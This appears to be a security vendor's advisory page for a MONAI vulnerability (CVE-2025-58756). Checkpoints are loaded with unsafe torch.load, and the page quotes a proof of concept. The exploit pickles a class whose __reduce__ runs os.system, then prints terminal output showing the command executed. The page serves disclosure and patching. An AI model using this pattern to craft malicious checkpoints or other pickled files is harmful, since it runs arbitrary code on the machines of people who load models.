How severe is GHSA-6vm5-6jv9-rjpj?

GHSA-6vm5-6jv9-rjpj has a CVSS score of 8.8/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-6vm5-6jv9-rjpj?

GHSA-6vm5-6jv9-rjpj affects the following packages: monai (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-6vm5-6jv9-rjpj?

Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6vm5-6jv9-rjpj is resolved across your whole dependency graph.

How do I detect GHSA-6vm5-6jv9-rjpj in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-6vm5-6jv9-rjpj if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-6vm5-6jv9-rjpj?

O3 pinpoints whether GHSA-6vm5-6jv9-rjpj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-6vm5-6jv9-rjpj actively exploited in the wild?

No public exploit code has been indexed for GHSA-6vm5-6jv9-rjpj yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-6vm5-6jv9-rjpj?

GHSA-6vm5-6jv9-rjpj has an EPSS (Exploit Prediction Scoring System) score of 0.7%, placing it in the 48th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-6vm5-6jv9-rjpj published, and has it been updated?

GHSA-6vm5-6jv9-rjpj was published on September 9, 2025 and was last updated on June 6, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-6vm5-6jv9-rjpj

HIGH

MONAI: Unsafe torch usage may lead to arbitrary code execution

Also known asCVE-2025-58756PYSEC-2025-141

Published

Sep 9, 2025

Updated

Jun 6, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.7%probability of exploitation in next 30 days

Lower Risk48th percentile-1.42%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.


import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`monai`	all versions	1.5.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6vm5-6jv9-rjpj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6vm5-6jv9-rjpj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6vm5-6jv9-rjpj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary In ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. The following proof-of-concept demon

O3 Security · Impact-Aware SCA

Is GHSA-6vm5-6jv9-rjpj in your dependencies?

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